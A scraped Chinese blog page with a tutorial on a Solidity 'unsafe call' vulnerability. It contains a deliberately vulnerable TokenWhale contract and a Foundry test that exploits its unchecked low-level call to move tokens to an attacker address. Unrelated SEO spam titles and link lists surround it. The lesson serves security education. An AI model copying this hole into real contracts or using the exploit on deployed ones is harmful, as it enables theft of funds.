当前位置: 首页 > news >正文

动态ip建网站在线制作免费生成图片logo

动态ip建网站,在线制作免费生成图片logo,沧州网络推广,用php做网站难吗区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability) 重点#xff1a; 在 TokenWhale 合约的 approveAndCallcode 函数中#xff0c;漏洞允许任… 区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability) 重点 在 TokenWhale 合约的 approveAndCallcode 函数中漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData) 执行恶意代码例如调用 transfer 函数将资金转移给攻击者从而实现重入攻击并窃取资金。 1.1 漏洞合约 // SPDX-License-Identifier: MIT pragma solidity ^0.8.18; /* 名称: 不安全调用漏洞 (Unsafe Call Vulnerability)描述: 在 TokenWhale 合约的 approveAndCallcode 函数中该漏洞允许执行任意调用并传入任意数据从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData))在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。 这可能导致意外行为、重入攻击或未授权的操作。这个练习展示了在调用合约时输入和返回值未被检查的低级调用漏洞。 如果调用数据可控则很容易引发任意函数执行。缓解措施: 应尽可能避免使用低级调用 call。参考: https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9 */import forge-std/Test.sol;contract TokenWhale {address player;uint256 public totalSupply;mapping(address uint256) public balanceOf;mapping(address mapping(address uint256)) public allowance;string public name Simple ERC20 Token;string public symbol SET;uint8 public decimals 18;function TokenWhaleDeploy(address _player) public {player _player;totalSupply 1000;balanceOf[player] 1000;}function isComplete() public view returns (bool) {return balanceOf[player] 1000000; // 1 mil}event Transfer(address indexed from, address indexed to, uint256 value);function _transfer(address to, uint256 value) internal {balanceOf[msg.sender] - value;balanceOf[to] value;emit Transfer(msg.sender, to, value);}function transfer(address to, uint256 value) public {require(balanceOf[msg.sender] value);require(balanceOf[to] value balanceOf[to]);_transfer(to, value);}event Approval(address indexed owner,address indexed spender,uint256 value);function approve(address spender, uint256 value) public {allowance[msg.sender][spender] value;emit Approval(msg.sender, spender, value);}function transferFrom(address from, address to, uint256 value) public {require(balanceOf[from] value);require(balanceOf[to] value balanceOf[to]);require(allowance[from][msg.sender] value);allowance[from][msg.sender] - value;_transfer(to, value);}/* Approves and then calls the contract code*/function approveAndCallcode(address _spender,uint256 _value,bytes memory _extraData) public {allowance[msg.sender][_spender] _value;bool success;// vulnerable call execute unsafe user code(success, ) _spender.call(_extraData);console.log(success:, success);} } 1.2 漏洞分析 approveAndCallcode()函数中的call可以调用_spender地址的任意函数。 1.3 攻击步骤分析 调用 approveAndCallcode 函数将 _spender 参数设置为 TokenWhaleContract 合约的地址。 将 _extraData 参数设置为 transfer 函数的函数签名及其参数触发低级调用 call从而执行 transfer 函数实现重入攻击。 输出结果 1.4 攻击合约 // SPDX-License-Identifier: MIT pragma solidity ^0.8.18;import forge-std/Test.sol; import ./UnsafeCall.sol;contract ContractTest is Test {TokenWhale TokenWhaleContract;address Koko;address Aquarius;function setUp() public {TokenWhaleContract new TokenWhale();Koko vm.addr(1);Aquarius vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);TokenWhaleContract new TokenWhale();TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));console.log(TokenWhale balance:,TokenWhaleContract.balanceOf(address(TokenWhaleContract)));}function testUnsafeCall() public {vm.prank(Aquarius);uint256 AquariusBalance;uint256 TokenWhaleBalance;AquariusBalance TokenWhaleContract.balanceOf(address(Aquarius));console.log(Aquarius Balance:, AquariusBalance);bytes memory _extraData abi.encodeWithSignature(transfer(address,uint256),address(Aquarius),700);TokenWhaleContract.approveAndCallcode(address(TokenWhaleContract),0,_extraData);assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);console.log(Attack success!!);TokenWhaleBalance TokenWhaleContract.balanceOf(address(TokenWhaleContract));console.log(TokenWhale Balance:, TokenWhaleBalance);AquariusBalance TokenWhaleContract.balanceOf(address(Aquarius));console.log(Aquarius Balance:, AquariusBalance);} }
http://www.dnsts.com.cn/news/274703.html

相关文章:

  • 水冶那里有做网站的免费个人微网站模板
  • 个人做收费网站网站建设常熟
  • 网站改版 百度收录腾讯有做淘宝客网站吗
  • 管理网站建设源代码程序焊工培训技术学校
  • 做网站能用本地的数据库嘛海报设计在线生成
  • 网站建设规划方案模板docker wordpress
  • 青岛网站建设推进wordpress导购页面
  • python兼职网站开发万能素材库
  • 黄页88登录重庆百度推广seo
  • 网站模糊效果移动端网站推广
  • 哪个网站做攻略比较好wordpress后台wp-admin目录加密
  • 找人做网站 多少钱半透明主题 wordpress
  • 商会信息平台网站建设方案tomcat做网站属于什么
  • 丝芙兰网站做的好差大学生简历制作网站
  • 泉州市建设工程质量监督站网站网站开发详情
  • 简述一下网站的设计流程河北省工程建设信息网
  • 网站空间到期影响网站建设电话销售开场白
  • 专门做选择题的网站顺德网站建设制作
  • 常州西站建设规划十大免费ppt课件网站
  • 郑州高端建站公司吉林省可信网站认证牌匾
  • 怎么建商城网站吗桐梓网站建设
  • 动画网站源码网站建设行业报告
  • 电子商务网站开发指南深圳市建设局科技处网站
  • 网站设计要多少钱农村自建房设计图一层平房
  • 晋中建设机械网站wordpress 汉化插件
  • 安溪县住房和城乡规划建设局网站团购网站的发展
  • 网上做翻译兼职网站微信分享网站短链接怎么做的
  • 网站做成app需要多少钱小说百度搜索风云榜
  • 网站维护中是怎么回事巴州移动网站建设
  • 东莞企业网站建设开发福建建设建设厅官方网站